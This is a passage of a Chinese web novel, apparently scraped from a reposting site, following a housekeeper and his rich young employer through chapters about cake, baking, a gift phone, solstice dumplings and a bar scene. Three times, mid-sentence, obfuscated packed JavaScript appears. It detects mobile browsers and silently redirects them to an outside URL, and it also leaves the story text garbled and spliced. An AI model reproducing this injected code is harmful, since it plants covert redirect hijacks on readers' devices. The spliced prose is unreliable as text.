等到双十一结束,许秋实依旧干着这份兼职,闲着没事就去帮忙送送快递,偶尔还有外卖,进账没有活动期间那么多,但日子变得充实不少。 看着自己支付宝账户上逐渐增加的金额,许秋实心血来潮地点开外卖软件。 原本只想试着点两杯奶茶,结果被一家甜品店吸引,惊讶于现在的蛋糕居然有这么多款式,看着精致又漂亮,就像……就像江翊驰一样。 想到这,许秋实选了一款四寸奶油小蛋糕,点击下单。 页面加载了会,跳出填写地址的提示,随后要他开启定位,选择楼栋,输入联系方式,许秋实抱着手机忙活半天,在输入付款密码时,额头隐隐渗出汗水,直到看见“下单成功”四个字,他才长舒一口气。 至此,许秋实终于完成人生中第一次点外卖的壮举。 17. 蛋糕 专业课上,难得认真听讲的顾承飞耳朵一动,感觉身后传来一声短促的轻笑,困惑回头:“阿驰,你笑什么?” 江翊驰面无表情地看向他:“我没笑。” “我明明听见有人笑了。”顾承飞满头问号,“我后面就坐着你,不是你是谁?” “你幻听了。”江翊驰说得斩钉截铁,挥挥手,像赶苍蝇似的要顾承飞转回去。 顾承飞一脸狐疑,凑到许秋泽耳边问他有没有听见。 许秋泽目不转睛地盯着讲台上的多媒体屏幕,敷衍地“嗯嗯”两声。 在两人看不到的地方,江翊驰藏在课桌下的手机屏幕亮起,许秋实的身影清晰呈现。 他刚刚一时兴起看了眼家里的监控,正好将许秋实手足无措点外卖的画面尽收眼底。 干活格外利索的双手在这种时候却显得有些笨拙,真是够笨的。 下课后,江翊驰拒绝了顾承飞要去自己那吃饭的请求,理由是没有提前预约,所以没有他的份。 顾承飞觉得这种小事很好解决:“那我给许哥打个电话,让他随便再煮点什么。” 江翊驰眼中迸射出一道寒光,语气不善:“许秋实是在为我工作,不是服务你的,想吃自己去找个保姆。” “不是,许哥还是我介绍给你的呢,你怎么过河拆桥啊?”顾承飞撸起袖子,双手叉腰。 “行了,别麻烦我哥了,跟我一起去吃食堂吧。”许秋泽也不想让他哥增加工作量,难得耐着性子劝哄顾承飞。 “阿泽你说他是不是太过分了?”顾承飞抱着许秋泽的胳膊,委屈巴巴。 “是是,你上次不是说食堂的牛肉刀削面好吃吗?我们现在赶紧去排队,不然一会又卖完了。”许秋泽一边说一边带着顾承飞往外走。 “还是阿泽你对我最好。”顾承飞没走两步,扭头朝江翊驰做了个鬼脸,“臭阿驰!” 江翊驰看着两人渐行渐远的背影,忍不住骂了顾承飞一句“蠢”。 * 金麟湾小区门口,不想麻烦别人跑一趟的许秋实提前下来等外卖。 “买啥了啊?一会让小陈给你送上去不就好了?”靠在保安亭窗口的吴明笑说。 “蛋糕,这会闲着,正好下来走动一下。”许秋实答。 “怎么点上蛋糕了?你过生日吗?”吴明随口一问,许秋实看着完全不像会给自己过生日的人。 “不是,给老板点的。” “江先生啊。”吴明露出个了然的表情,“现在的小年轻就喜欢奶茶蛋糕这些东西。” 两人聊了一会,外卖送到,是甜品店自配送。 送货的店员给许秋实讲了些注意事项,特别强调不马上吃的话一定要记得放冰箱冷藏。 “还要放冰箱?” “是的,因为我们店用的是动物奶油,不放冰箱很容易融化的。” “好的,谢谢。”许秋实头一次听说奶油会融化, “不客气,如果觉得合您口味,麻烦您给个五星好评。”店员一边说一边朝许秋实鞠了个九十度的躬。 许秋实吓一小跳:“哦,好。” “这家店不便宜吧?包装袋看着都高档。”吴明笑着打趣。 许秋实点头,确实不便宜,小小一个要一百多块,够他好几天的生活费了。 “好吃的话把店名发我,我给我老婆也买个尝尝。”吴明瞧了眼袋子里造型精美的蛋糕,心动道。 “行。” 许秋实将蛋糕拿回家放进冰箱,想起刚刚店员说的动物奶油,好奇地掏出手机百度了一下,顺便看了些烘焙食谱,感觉像是打开了新世界的大门。 什么葡式蛋挞、曲奇饼干、焦糖布丁、熔岩蛋糕,全是他没见过也没吃过的,看看厨房那个没使用过的烤箱,许秋实突然来了兴趣。 江翊驰下课到家,许秋实告诉他自己买了蛋糕,不知道他喜不喜欢吃。 “什么蛋糕?太便宜的我可不吃。”江翊驰装模作样地说了句。 “不便宜,四寸大的,一百六十八块。”许秋实真心实意道。 “一百多”是怎么和“不便宜”画上等号的?江翊驰忍住没把这个想法说出来,到底是许秋实的心意。 “那等吃完饭再吃吧。” “好。” 晚饭后半小时,许秋实将冰箱里的蛋糕端出来,小心翼翼地拆开包装盒,尺寸虽小,但该有的配件一样不少,连蜡烛都有。 他点的是那家店销量最高的海盐焦糖口味,淡黄的奶油表面淋着琥珀色泽的焦糖酱,上面均匀撒了一层可可粉,边缘则是一圈坚果碎,插着几块造型精致的饼干作为装饰。 蛋糕被整个摆在江翊驰面前,许秋实给他拿了个叉子,没有下一步的动作。 “我一个人吃?”江翊驰问。 “嗯,给你买的。”许秋实自己哪舍得吃这种东西。 “一个人吃有什么意思,你陪我吃。” “嗯?”许秋实看着只有自己拳头大小的蛋糕,想说这么一点点还两个人分着吃,都不够塞牙缝的。 不等他开口,江翊驰催促:“快点,对半切,蛋糕热量高,我不吃那么多。” 许秋实拗不过他,用配套的塑料刀具将蛋糕切成两半,和江翊驰一人一半。 许秋实举起装着蛋糕的纸盘,发现蛋糕胚里有一层薄薄的奶油夹心,里面混合着一颗颗巧克力色的小珠子和像果冻一样的块状物。 散发出淡淡焦糖香气的奶油搭配绵密柔软的蛋糕胚,一口下去,轻盈蓬松的奶油瞬间在嘴里融化,焦香的甜混合着海盐的咸,恰到好处地为味蕾带来一丝清爽尾调。 江翊驰清楚看见许秋实眼中倏地亮起一道光,随后诧异看向手中的盘子,似乎发生了什么认知上的偏差。 那模样跟他家狗狗第一次吃到大肉骨头时毫无差别。 “好吃吗?”江翊驰问。 “很好吃,这奶油和我以前吃过的不一样。”难怪店员要他记得放冰箱保存,原来真的会融化。 许秋实再次在心中感叹,贵有贵的道理。 “你以前吃的是什么样的?”江翊驰好奇地问。 “比较硬,不容易化,不用放冰箱,没什么奶味,吃起来更甜一点,也挺好吃的。”许秋实形容得很具体。 “那算什么奶油?”江翊驰根本想象不出许秋实所描述的是怎样的味道和口感,对他说的好吃也抱持怀疑态度。 许秋实想到曾经吃蛋糕的场景,面上浮现几分怀念。 那时父母在世,兄弟俩每年生日都要买个大蛋糕,几岁生日插几根蜡烛,一家人围坐一桌唱生日歌、许愿、吃蛋糕。 父母走后,只有弟弟过生日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16934878|192859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许秋实才会买个小蛋糕为他庆祝。 许秋实难得主动提起过去,江翊驰听得认真,问他:“那你的生日呢?不买蛋糕吗?” “长大了,没那么爱吃了。” 骗人。江翊驰皱皱鼻子,胸口发堵,看他刚刚吃蛋糕的样子,哪里像是不爱吃,这傻子,给弟弟花钱那么大方,到了自己身上就抠门得要命,上次双十一也是,买的全是许秋泽的东西。 “快吃吧,一会奶油化光了。”许秋实轻声道。 江翊驰慢条斯理地尝了一小口,评价:“马马虎虎。” 许秋实笑了笑,对江翊驰的挑剔习以为常,小少爷从小含着金汤匙出生,什么好东西没吃过,真觉得好吃才有大问题。 “你笑什么?就是很一般啊。”江翊驰又尝了一口。 “不是笑你,只是觉得以前的自己太没见识,从老家出来以后,见到许多世面,还遇到不少好人,你、小飞、文耀哥都帮了我很多,我很感激。” 江翊驰听到许秋实罗列众人时把他放在首位,低头吃了口蛋糕掩饰翘起的嘴角:“这不算什么,各取所需罢了。” “那也很感谢你愿意给我这个工作机会。”许秋实由衷道,几口把蛋糕吃完,连盘子里的奶油都刮得干干净净。 江翊驰正想说点什么,看见许秋实的脸,忍不住笑了一声。 “怎么了?”许秋实眼中透着两分茫然。 “你怎么回事啊?吃得满脸都是,小孩吗你?” 许秋实没想到自己会有被江翊驰说像小孩的一天,顿时哭笑不得,抬手胡乱擦擦嘴角。 “这里还有呢。”江翊驰自然地伸手过去抹掉他鼻子上的奶油,随后盯着自己的指尖有些发愣。 下一秒,许秋实抽了纸巾,轻轻握住小少爷的手腕,将那根手指仔仔细细擦干净:“跟我说就好了,把你手也弄脏了。” 江翊驰像烫到般缩回手,感觉许秋实握过的皮肤泛起一阵痒意。 “对了,老板,外卖的五星好评要怎么给?”许秋实始终记得店员拜托的事,现在蛋糕吃完了,该给好评了。 “你打开那笔订单,底下有个评价,点进去全部勾选五颗星就好了。” 许秋实照他说的做,又问:“这个框里的评价怎么写?” “写个好吃呗。” 许秋实想了想,打上“非常好吃”四个字。 见许秋实给个好评这么郑重其事,江翊驰干脆夺过他的手机,随便夸了两句味道,又拍下自己还没吃完的蛋糕照片上传:“好了。” “谢谢。”许秋实收好手机,坐在一旁,耐心等江翊驰吃完。 小少爷吃东西一向斯文,一举一动全透着良好家教养出来的优雅,看着赏心悦目。 “老板,你喜欢吃甜食吗?”许秋实突然问道。 “还行,怎么?” “你要是喜欢,我学着做给你吃。”许秋实一直觉得自己的工作量和工资不匹配,总想多做点事。 “你想做就做啊。”江翊驰一副无所谓的样子,吃蛋糕的速度却加快了不少。 “好。”许秋实顺便说了自己关于学习烘焙的计划和安排。 江翊驰“嗯好”地回应着。 许秋实根本没发现此刻的江翊驰一个字也没听进去,正满心沉浸在自己肯为他花心思的飘飘然中无法自拔。 18.降温 洛海市的冬天来得不算早,直到十一月末,小雪后的寒意才温温吞吞包裹住整座城市。 清晨的冷空气顺着纱窗涌进房间,许秋实被冻醒了。 昨晚洗完澡光着膀子躺在床上想看会食谱,看着看着就睡着了,被子全压在身下。 他赤着上身坐起来,小麦色的脊背印上几条清晰的纹路。 前一天还在提醒许秋泽降温了,记得多穿衣服,结果自己却这么睡了一夜,幸好醒得早,不然说不定要感冒。 许秋实看了眼床头的家居短袖,终于决定换件衣服,打开衣柜,拿出一件叠得整整齐齐的黑色针织衫,这是之前荀文耀帮他买的。 针织衫的针脚细密又扎实,弹性很大,许秋实将衣服套头穿上。 常年干活练得宽厚结实的肩背轻易撑起衣服轮廓,袖子刚好到手腕,包裹整条手臂,连接着肩胛处的肌肉隆起一条完美又流畅的曲线,腰腹间陡然收缩,勒出窄窄的腰身,与壮硕胸膛形成鲜明的对比。 换好衣服,许秋实摸摸包裹住一半脖子的领口,有点不自在地抬抬手,他过去穿过最贴身的衣服就是秋衣秋裤,也没这么勒人,总觉得浑身的劲被裹住了似的,施展不开拳脚。 正犹豫着要不要换掉衣服,床头闹钟响起,到他平时起床的时间了。 算了,衣服买来就是要穿的,多穿穿就习惯了。 许秋实又找了条长裤穿上,到卫生间刷牙洗脸。 今天的早餐做水煎包,是江翊驰昨晚点名要吃的。 面团提前一晚上放冰箱里发酵好,许秋实调的猪肉粉丝馅,往里加了葱姜蒜水,开始包包子。 灶台上,一个砂锅用小火煨着,里面是浓稠橙黄的南瓜粥。 许秋实挽起袖子,手握锅铲将煎好一面的包子小心翻了个面,锅中油花轻溅,滋滋作响,等包子煎到两面金黄,又往锅里倒入一点淀粉水,盖上锅盖焖几分钟。 江翊驰揉着眼睛走下楼,顺着香味往厨房来,看到身穿黑色半高领紧身针织衫的许秋实宽肩窄腰,专心盯锅的场景,脑袋里残留的一丝瞌睡虫顿时消散。 “起来了?先坐会,马上就可以吃了。”许秋实掀开锅盖,熟练地把包子一个个铲到盘子里。 江翊驰乖乖在餐桌前坐好。 除了水煎包和南瓜粥,许秋实还准备了一些爽口的小菜,其中就有顾承飞倾力推荐的腌萝卜。 江翊驰目标明确地将筷子伸向水煎包,夹回一个咬开小口,滚烫的肉汁瞬间溢出。 “小心点,别烫到。”许秋实一边说一边给他盛了碗粥,冒着热气的粥体弥漫出一股暖暖的甜香。 江翊驰一口粥一口包子,偶尔吃两片爽脆的萝卜清清口,不知不觉就把肚子吃撑了。 见江翊驰不舍地放下筷子,许秋实问:“吃饱了吗?” “饱了。”江翊驰向后一倒,靠在椅背上。 许秋实见状,开始收尾工作,将剩下的粥和包子风卷残云般扫进自己肚子。 “你今天怎么换衣服了?”江翊驰的目光总忍不住往许秋实上半身看,这衣服太修身了,穿了跟没穿有什么区别! “天气冷,你也多穿点。”许秋实看了眼江翊驰的穿着,提醒。 “你能感觉到冷啊?”江翊驰真心发问,早在十一月初就降温了,虽然不至于冷到穿很多的程度,但走在街上大家都穿着长袖单衣加薄外套,结果许秋实两件换洗的短袖一直穿到现在,始终没见他换过别的衣服。 “我会看天气预报。”许秋实在老家就有这习惯,像他们那样到处接活干的人,最怕天气不好。 自从用上江翊驰的旧手机,许秋实发现手机自带的天气软件居然能一次看到好几天后的天气情况,真是方便。 “哦。”江翊驰转开视线,耳尖发红,“那个,你穿这衣服还挺合适的。” “是吗?文耀哥帮我买的,他眼光很好。”许秋实不好意思地笑笑。 江翊驰的嘴角弧度僵住,搅了搅碗里的粥:“就是质量一般。” “我感觉还行,我是第一次穿这样的款式,有点不习惯,你觉得好看那肯定是好看的。”许秋实又冲江翊驰笑了笑,低头专心解决早饭。 “过两天我再帮你看看冬装吧。”江翊驰相信他的品味和审美肯定能甩荀文耀几十条街。 许秋实:“我衣服够穿,文耀哥还给我买了外套,暂时不用买新衣服。” 江翊驰顿时觉得这衣服不好看了。 * 学烘培并不是一件简单的事,尤其是像许秋实这样自学的人,他连烤箱都是头一回用,能参考的食谱只有从网上搜索到的,很多细节不会讲得太详细。 许秋实苦心钻研了一阵,耗材极快,江翊驰在给他生活费时发现端倪,练手用的材料是许秋实自掏腰包买的。 “谁让你花自己的钱了?难道我付不起这点钱吗?”江翊驰看到许秋实记的帐,质问。 “之前跟你说过的,你说好。”许秋实一脸无辜。 “你什么时候说了?” “吃蛋糕那天,我跟你说在家里学做甜品可能会比较费水电,所以材料我会自己买,你说了好的。” 江翊驰表示自己不记得了,其实是完全没听见,将许秋实的材料费强制报销。 小少爷财大气粗,可对许秋实来说,这也算是自己多学一门手艺,已经占用了人家的厨房,怎么好再多花人家的钱呢? 于是许秋实跟荀文耀商量了下,休息日的时候,自己买材料在他家里试做甜品。 荀文耀和许秋泽对此有着极其浓厚的兴趣,许秋实负责制作,他俩负责试吃,分工明确,合作愉快。 很快,得到消息的顾承飞也屁颠屁颠地凑过去,江翊驰是最后一个知道这件事的。 他酸溜溜地问许秋实:“不是要做给我吃的吗?怎么所有人都吃过了,就我没吃上?” “还在练习,怕不合你口味。” “我看他们吃得很开心。”江翊驰翻出顾承飞发给自己炫耀的视频。 “那是他们给面子。”许秋实谦虚道。 “你觉得我不给你面子?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16938834|192859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江翊驰真是心寒了,在他看来自己已经足够纵容这个保姆了! 许秋实:“不是,我是想让你吃到最好吃的那批。” 江翊驰立刻翘起嘴角。 许秋实一句话把江翊驰哄开心,表示这周日要跟顾承飞一起去荀文耀家做客。 周日。 荀文耀看着客厅沙发上讨论专业课作业的三个大学生,感觉自己的房子受到了强烈的文化熏陶。 江翊驰不是空手来的,知道荀文耀在酒吧工作,给他送了两瓶酒。 荀文耀确实有收藏好酒的习惯,江翊驰送的酒一下拉高了他整个酒柜的档次。 许秋实正在厨房小心翼翼地把蛋糕液倒进彩色纸杯里。 荀文耀双手抱胸,靠在厨房门边:“秋实,你家小少爷是不是有点黏你啊?” “黏我?”许秋实侧头看他,似乎在问他为什么会这么想。 “他不是为了跟着你,怎么会愿意到我家来呢?”荀文耀旁观者清。 “小飞也来了,他们是朋友。”许秋实没有什么特别的感觉。 “那可以让小飞去他家玩啊。” “小飞跟阿泽关系好。” 许秋实说得坦然且逻辑自洽,荀文耀无奈摇头。 江翊驰在客厅和许秋泽讨论完作业思路,左等右等不见许秋实出来,荀文耀还进去了大半天,终于按耐不住地站起身,往厨房走去:“许秋实,好了吗?” “蛋糕没好,你们先吃饼干吧。”许秋实端出一盘刚出炉的黄油饼干,一块块小熊形状的饼干堆叠在白色瓷盘上,散发着香甜奶味。 “咦,新买的模具吗?”顾承飞看到饼干的形状,惊喜道。 “嗯,很可爱。”许秋实语气坚定地点点头,对此表现出明显的喜爱。 在场的其余四人看着他没什么表情的酷脸,莫名觉得治愈。 许秋实如今烤的饼干完全不比外面甜品店里卖的差,江翊驰没吃两块盘子就空了,对于本该独属于自己的东西却被众人分食颇有怨念。 吃过下午茶,许秋实还想去收拾厨房,被许秋泽和荀文耀一起按住:“你忙活一下午够辛苦了,让我们来善后吧。” 江翊驰依旧一副少爷做派,坐在沙发上不动如山,只在许秋实过来时挪了挪屁股,给他腾出位置。 收拾好出来的许秋泽从书包里掏出个方方正正的盒子,面带期待地递给许秋实。 许秋实下意识接过,原来是一部新手机。 “哥,这是我用兼职工资买的,送给你。”许秋泽道。 江翊驰立即看向许秋实。 “你的工资自己留着花就好,哥自己会买。”许秋实本来只打算买一部二手机的,见弟弟辛苦兼职赚的钱,转头花在自己身上,不由觉得心疼。 “我留了,你给的生活费都没用上,我这个月还有工资领呢,哥你收下吧。”许秋泽恳求。 荀文耀和顾承飞也跟着劝。 这是弟弟的心意,许秋实不忍拒绝,粗糙的双掌不停抚摸着手机盒子,半天不舍得拆开。 19.冬至 许秋实获得新手机一事,只有江翊驰不高兴。 因为许秋实第二天就要把他给的旧手机还回去。 “都说了本少爷给出去的东西不会收回来。”江翊驰双手抱胸,站在楼梯上居高临下地怒视许秋实。 许秋实举着手机,面色迟疑地开口:“可你说的是借。” “我不管,反正已经给你了,我不要了。”江翊驰心里那个气啊,他就知道许秋实得给他来这么一出! 小少爷在某些方面的倔强许秋实是领教过的,这种时候更得顺着他:“那我先收着,你别生气。” “我哪有生气?”江翊驰嘴硬得很。 “嗯,没有。”许秋实眼中闪过一丝笑意。 江翊驰正想转身回二楼,不知想到什么,朝许秋实警告:“虽然这手机我不要了,但你不准让许秋泽帮你拿去卖二手!更不准给别人用,听到了吗?” “……好。”许秋实脑中确实有帮他把手机卖了换钱的想法,被小少爷先一步洞察,只能遗憾放弃。 此后,他的床头柜里又多了一部闲置手机。 新手机和旧手机不是一个系统,很多东西不一样,许秋实需要重新花时间来适应。 尽管江翊驰看不上许秋泽买的便宜货,对许秋实却始终有问必答。 “还是你们年轻人懂得多。”许秋实看到江翊驰熟练的操作演示,不由感叹。 “什么我们年轻人,你不也才二十出头吗?”江翊驰不喜欢许秋实那总把他当小孩看的态度。 “三岁一代沟,我们之间得隔两条沟。”许秋实认真地比出两根手指。 “什么破代沟。”江翊驰斜了他一眼。 “这周日是冬至,你要怎么过?”许秋实固定每周日休息,已经和荀文耀说好冬至一起包饺子了,但有些不放心小少爷一个人在家。 “我哥让我去他那。”江翊驰兴趣缺缺。 “小飞跟你去吗?”许秋实也惦记着顾承飞。 “嗯。” “那就好,人多热闹点。”许秋实放下心来。 江翊驰知道许秋实肯定要跟那两个人过冬至,心中不爽,却没什么立场阻止。 他倒是想付三倍工资让许秋实留下,可又不能真带个保姆去他哥家。 自从上次江翊驰明着说江翊和家的菜难吃后,那几个厨子一见到他就如临大敌,总是一副担心丢饭碗的模样,真把许秋实带去,也太下他哥面子了,最重要的是,到他哥家许秋实肯定会不自在。 望着客厅那道打扫卫生的背影,江翊驰意识到自己最近似乎变得有些奇怪,有事没事老喜欢盯着许秋实看。 虽然他长相不赖,身材又好,说到底只是个保姆,还是个男人,自己不至于对他生出什么不该有的心思吧? 这个念头一冒出,江翊驰当即失笑摇头,自己真是想太多了。 * 十二月的气温上下浮动得厉害,不过冬至这天还是象征性地变冷了点。 许秋实给江翊驰做好早餐,穿上件夹克外套出门去。 他和许秋泽约好在荀文耀家附近的菜市场见,兄弟俩很久没有像这样一起逛街买菜,顺便去街边早餐店吃了早饭。 买好东西回家时荀文耀还没睡醒。 兄弟俩轻手轻脚地把东西提到厨房,许秋实煮了点稀饭,确保荀文耀起床就能吃上。 工作性质的原因,荀文耀每天得睡到中午才会起来吃第一餐饭,所以许秋实会先做一顿比较清淡的饭菜。 荀文耀起床时,兄弟俩正在厨房洗菜、和面、调馅,忙活有一阵了。 “不是说好一起包的嘛?怎么不叫醒我?”荀文耀打着哈欠走进来。 “文耀哥,你起来啦,快去刷牙洗脸,没开始包呢,一会先吃饭。”许秋泽一脸开朗地朝他打招呼。 “一睡醒就有饭吃,我太感动了。”荀文耀笑着往卫生间去,自从许秋实住进来,每周天都能过上这样幸福的日子。 荀文耀的早饭刚好当兄弟俩的午饭,三人围坐一桌,清粥小菜吃得有滋有味。 饭后休息了一段时间,许秋实擦干净桌子,撒上一点面粉,将面团放上,开始搓条切面剂擀面皮。 许秋泽端出满满一盆调好的猪肉白菜馅,和荀文耀负责包饺子。 “哇,阿泽你包的好漂亮。”荀文耀惊叹,“这个褶子怎么包出来的?教教我。” “你看,先把后面这段往里收,然后左一下右一下来回撵,这是我哥教我的,他会包的形状可多了。”许秋泽与有荣焉。 许秋实看着两人凑在一块研究各种饺子形状,弯了弯嘴角。 期间,江翊驰断断续续发来消息,许秋实手上不得空,拿一次手机就得重新洗一次手,只能有一搭没一搭地回着话。 桌上逐渐摆满包好的成品,一只只白白胖胖,许秋实留下三人要吃的份,其余的全部放进冰箱冷冻层保存起来。 许秋泽烧好开水,许秋实来下饺子。 等饺子下完,许秋实举起手机拍了张热气缭绕的煮饺子照,给一直查岗的江翊驰发过去,问他要不要吃,想吃可以来拿点回去,晚上当宵夜。 以他对江翊驰的了解,大概率是不会自己动手煮吃的,许秋实做好被拒绝的准备,没想到小少爷秒回了一个【好】字。 发完消息的江翊驰有些后悔。 其实他没有那么想吃,而且自己又不会煮,为什么要巴巴地赶过去找许秋实拿饺子啊! “吃饭不要一直看手机。”江翊和不满地看向弟弟,给他夹了个蟹黄饺。 “这蟹黄馅真鲜呐,好吃。”这个时节的螃蟹最是肉肥膏满,全是厨师一块黄一丝肉从蟹壳里手工挑出来的,顾承飞一口一个吃得飞快。 这边吃完饺子的荀文耀心血来潮想吃汤圆,问许秋实会不会包。 “会,我去买材料。”许秋实有求必应。 “我也去我也去!”荀文耀和许秋泽一起举手。 “行,都去。”权当消食了。 汤圆包了不少,许秋实没多煮,怕两人吃多了积食,剩下来的可以和饺子一起打包,给江翊驰和酒吧员工都送一点,他有一阵没去酒吧了,正好去看看大家。 冬天是洛海市的旅游淡季,游客没有夏天多,酒吧一条街的氛围也跟着冷淡一些。 荀文耀大方地将酒吧上班时间从晚上六点延 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16948406|192859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后到七点,反正酒吧不会因为这一个小时多赚几个子。 许秋实和荀文耀送走许秋泽,两人步行到酒吧,差不多二十分钟的路程。 身为店长,荀文耀大部分时间是最早到店的,虽然平日里看起来总是一副不怎么靠谱的咸鱼样。 许秋实很久没来酒吧了,荀文耀压着他在吧台前坐下:“今天别帮忙了,当一回客人感受一下我们酒吧的服务吧,免费招待。” 许秋实拒绝的话尚未出口,荀文耀已经给他倒上一杯加了冰球的威士忌:“强子说你酒量不错,先喝点简单的,我再给你调。” 倒出来的酒不能倒回去,荀文耀上班期间不喝酒,许秋实只能端起酒杯,浅尝一口。 冰块的低温抑制了几分酒精的刺激感,入口后,口腔内的温度激发出酒液中蕴含的轻盈果香,有种特别的回甘。 “怎么样?喝得惯吗?”荀文耀问。 “还行,酒味不是很浓。” 听到许秋实的评价,荀文耀笑盈盈道:“这酒后劲比较大。” 许秋实不让荀文耀继续调酒,他便给自己调了一杯无酒精的饮料,两人坐在吧台一边喝一边聊,说到许秋实离家前的事。 “我听强子说,你出来前,村长要给你说亲的,你拒绝了,为什么?”荀文耀看似随意地问。 “想多挣点钱,趁现在年轻有力气,给阿泽攒攒以后结婚买房子的钱,其他的事,暂时不想考虑。”许秋实又喝了口杯里的酒,冰块被他掌心的温度融化了些,酒味稀释,没有第一口那么好喝了。 “只给阿泽攒老婆本,你自己不要啊?”荀文耀直勾勾地盯着许秋实的双眼。 “没想那么多。”主要是没那个心思,“而且阿泽还小,身边得有人照顾。” 许秋实垂下眼帘,看见放在吧台上的手机屏幕亮起,是江翊驰发消息说自己过来了。 荀文耀静静看他回完消息,单手托腮:“阿泽成年了,不是小孩了。” 许秋实晃动酒杯的手顿住,是啊,阿泽长大了,现在比起弟弟需要他,其实是他更需要弟弟这个寄托才对。 “你也该考虑考虑自己的人生了吧?今天阿泽还跟我说希望你能早点遇到自己的幸福。”荀文耀低声劝说。 自己的幸福?性取向都不正常的他真能拥有吗?许秋实摇摇头,将杯中的酒一饮而尽。 “不要给自己那么大压力,感觉你总绷着一根弦,活得轻松一点不好吗?”荀文耀抬手拍拍他的肩。 许秋实眼帘低垂,不知在想什么。 “秋实。”荀文耀突然唤了一声。 “嗯?”许秋实转头看他。 “我才发现你的睫毛很长诶,还是翘的,哈哈。”跟他日常冷酷的形象一点也不相符。 荀文耀饶有兴致地凑上前去细看,大概是因为皮肤黑,弱化了睫毛的存在感,平时不容易注意到。 荀文耀越凑越近,甚至抬手拨弄了一下,许秋实条件反射般闭上双眼。 从侧面看,两人的举止亲密得远超正常社交礼仪。 许秋实正想拉开点距离,一道冰冷到极致的声音响起: “你们在做什么?”